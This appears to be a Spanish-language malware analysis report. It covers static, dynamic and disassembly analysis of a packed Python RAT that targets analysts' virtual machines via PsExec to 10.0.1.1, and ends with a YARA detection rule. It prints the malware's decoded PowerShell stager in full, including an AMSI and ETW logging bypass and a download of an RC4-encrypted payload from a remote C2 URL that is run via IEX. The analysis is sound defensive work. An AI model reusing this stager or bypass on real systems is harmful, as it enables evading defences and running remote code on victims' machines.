f.write(b'%c' % (buff[i] ^ 222))
else:
f.write(b'%c' % (buff[i] ^ 173))Si i es par, hace XOR con 222 y si es impar con 173.
Guarda dicho resultado en launcher.lnk.
Luego simula la ejecución del explorador:
explorer = 'C:\\Windows\\explorer.exe'
os.execl(explorer, explorer, dst_path)Si flare es positivo, intenta ejecutar lnk remotamente en la dirección 10.0.1.1 con el siguiente comando:
if flare:
os.execv(psexec_path, ['\\10.0.1.1', 'cmd /c "' + dst + ' ' + dst + '"'])En este comando se ejecuta el PsExec, el cual se conecta al equipo remoto 10.0.1.1, pasándole como parámetro el launcher.lnk, que contiene el código malicioso, y también, por último, le pasa el nombre launcher.lnk.
Teniendo en cuenta los datos anteriores, se deduce que es un RAT con el objetivo de atacar entornos de análisis de malware, ya que el comando solo se ejecuta cuando está en flare.
En el análisis avanzado, aparte de analizar el código en ensamblador, analizaremos el launcher.lnk, pero para ello antes tenemos que ejecutar el programa para que se cree.
Análisis Dinámico Básico
Ejecutamos el Process Monitor para ver cómo funciona y qué comando ejecuta,
y vemos que intenta cargar lo siguiente.
Usamos API Monitor para ver qué llamadas a APIs hace, viendo su ejecución.
Cuando se ejecuta, nos redirige a la carpeta y genera el fichero launcher.lnk.

Con el API Monitoring podemos ver qué librería de Windows utiliza. Se puede ver que utiliza ntdll.dll

Se puede observar que crea un hilo con el ID 2844

También podemos observar que el PID con el que se ha ejecutado el malware es el 2116, facilitando su búsqueda en el Process Monitor

Observamos que se ha creado un thread con PID 3064

Ejecutando \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Este comando ejecuta una consola de comandos de forma oculta en segundo plano y se va a utilizar para evitar posibles detecciones, haciendo lo que se conoce como process hollowing.
Para ello, lo que hace es crear un proceso legítimo como es conhost, dejarlo en estado suspendido, vaciar su memoria de proceso, eliminar su código original y escribir el código malicioso en su lugar, y reanuda la ejecución de este.
El virus simula el comportamiento que solo abre el explorador de archivos.

En la siguiente imagen podemos ver qué hilos crea:

Sabemos que el 2884 es en el que se ejecuta el script de Python, por lo tanto, utiliza un process hollowing para lanzar el script de Python que tenía. Luego lo cerró para que no se pueda obtener más información, pero sabiendo lo que hace por el análisis estático, sabemos que creaba una shellcode y utilizaba sockets.
Por último, en este apartado veremos qué conexiones de red hace. Para ello, utilizaré tanto FlareVM como Remnux para ver las conexiones que realiza.
En Wireshark, cuando lo ejecutamos, no genera ninguna conexión saliente, como se puede observar.

Para comprobar por qué no llega ninguna conexión, ejecutamos manualmente el comando y observamos que no consigue encontrar el path porque no tiene acceso.

Por lo tanto, no se van a mostrar conexiones en el remux, esto puede deberse a que no tiene habilitado el recurso admin$, ya que solo los usuarios con permiso de administrador pueden acceder y no muestra trazas de red ni siquiera de ARP en wireshark porque falla antes de enviarse dichas trazas.
Análisis estático avanzado
En este apartado sacaremos las funciones del ejecutable que están hechas por el desarrollador con la idea de poder hookearlas con el Immunity Debugger en un posible análisis dinámico avanzado, cuyo análisis no cubrimos en dicho informe. También se analizará el código del launcher.lnk.
Funciones interesantes son la del main para saber qué se le pasa al programa (sub_140001AE0) y la función sub_1400059B0 que contiene técnicas anti-debugging.
Analizando el código con IDA en la función sub_1400059B0:

Implementa técnicas avanzadas de anti-debugging y evasión de análisis diseñadas para dificultarlo. Se pueden ver las principales estrategias:
Utiliza IsProcessorFeaturePresent(0x17) para comprobar si la instrucción __fastfail está disponible. Si está disponible, termina el proceso inmediatamente; lo utiliza para detectar si es un entorno de análisis y depuración.
También utiliza RtlCaptureContext para obtener el contexto del hilo actual, incluyendo registros como RIP y RSP. Utiliza RtlLookupFunctionEntry y RtlVirtualUnwind para realizar un desarrollo virtual de pila. Hace un ajuste manual de los registros RSP y RIP para evitar detección por parte de depuradores.
También invoca métodos como IsDebuggerPresent para verificar si el proceso está siendo depurado.
Si quisiéramos depurarlo, tendríamos que parchear las funciones IsProcessorFeaturePresent y IsDebuggerPresent, e interceptar las llamadas a UnhandledExceptionFilter para evitar su terminación.
Analizando ya la función main sub_140001AE0:

Esta función se encarga de desempaquetar y ejecutar el código de Python embebido. Para ello, extrae el script de Python embebido que se llama pythonscript, carga de forma dinámica python310.dll desde el sistema, inicializa el intérprete usando PyConfig en modo embebido, y configura los parámetros argv, path, sys.force.
Una variable importante es la siguiente: qword_1400099F0. En esta se almacena un puntero al script de Python.
Ahora estudiaremos el launcher.lnk que conseguimos extraer del análisis dinámico básico:
Haciéndole un file, vemos que es un comando de Microsoft.
Con el comando strigns vemos que ejecuta lo siguiente :
Se puede observar, que el script ejecuta un payload y después ejecuta el wordpad.exe para que parezca desde fuera que se está ejecutando el wordpad.exe
La cadena está en base64 la decodificamos usando el siguiente comando
echo ‘base64string’ | base64 -d
Damos formato al codigo yo en mi caso he utilizado un llm:
# Desactiva AMSI (Anti-Malware Scan Interface) y el ETW Logging si PowerShell >= v3
if ($PSVersionTable.PSVersion.Major -ge 3) {
$Ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$Ref.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled', 'NonPublic,Instance').SetValue(
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
.GetField('etwProvider', 'NonPublic,Static').GetValue($null),
0
)
}
# Desactiva Expect100Continue para evitar latencias en WebClient
[System.Net.ServicePointManager]::Expect100Continue = 0
# Crea el cliente Web
$wc = New-Object System.Net.WebClient
$userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
$wc.Headers.Add('User-Agent', $userAgent)
# Configura el proxy y las credenciales del sistema
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$Script:Proxy = $wc.Proxy
# URL del servidor C2 (decodificado de Base64)
$server = [Text.Encoding]::Unicode.GetString(
[Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBqAHUAbgBxAHUAZQByAGEALgB4AHkAegA6ADEAMAA0ADQAMwA=')
)
$path = '/admin/get.php'
# Añade una cookie personalizada (posible token de sesión)
$wc.Headers.Add('Cookie', 'ttUnwwpvs=aKpkE4dDPKjXj35jEeVq+Aj1Jkc=')
# Clave para descifrar el payload
$K = [System.Text.Encoding]::ASCII.GetBytes('*z|I47SVdntvZsKOUBM0X%gL>5]u)T;y')
# Función de cifrado estilo RC4 para desencriptar el contenido descargado
$R = {
$D, $K = $Args
$S = 0..255
0..255 | % {
$J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256
$S[$_], $S[$J] = $S[$J], $S[$_]
}
$I = $H = 0
$D | % {
$I = ($I + 1) % 256
$H = ($H + $S[$I]) % 256
$S[$I], $S[$H] = $S[$H], $S[$I]
$_ -bxor $S[($S[$I] + $S[$H]) % 256]
}
}
# Descarga el payload cifrado
$data = $wc.DownloadData($server + $path)
# Separa IV y datos
$iv = $data[0..3]
$data = $data[4..$data.Length]
# Descifra y ejecuta el contenido (RC4 con IV + clave)
-join [Char[]](& $R $data ($iv + $K)) | IEX
Dentro del script, vemos que la URL viene codificada en Base64; la decodificamos de la misma manera:

Dicho script hace lo siguiente: desactiva las defensas de protección anti-malware de PowerShell y el registro de eventos ETW. Crea un WebClient que simula un navegador para descargar un archivo que está en la página http://junquera.xyz:10443/admin/get.php. Añade una cookie para poder autenticarse y bajarse el virus, descifra el contenido usando un algoritmo de tipo RC4 con la clave y el IV, y lo ejecuta con IEX.
Si quisiera obtenerlo, podría ejecutar dicho script y quitar el comando | IEX del final para que no se ejecute. Pero cuando intento hacer un ping o acceder vía navegador, no consigo acceder a dicho dominio, por lo tanto no puedo obtener lo que descarga.
Como conclusión de este apartado, vemos que es un malware que está pensado para atacar a analistas de malware que no tienen bien configurado su entorno, porque la IP 10.0.1.1 es la IP por defecto del anfitrión dentro de una máquina virtual. Por lo tanto, intenta ejecutar el launcher.lnk en la máquina host y, desde ella, descargar el malware.
Regla yara
rule Detecta el virus Junquera
{
strings:
$domain1 = "re.com"
$domain2 = "pen.com"
$domain3 = "itertools.com"
$domain4 = "microsoft.com"
$domain5 = "digicert.com"
$detect_debuger = "IsDebuggerPresent"
$ip_target = "10.0.1.1"
condition:
(all of ($domain*)) or ($ip_target) or ($detect_debuger)
}Probamos que funciona:
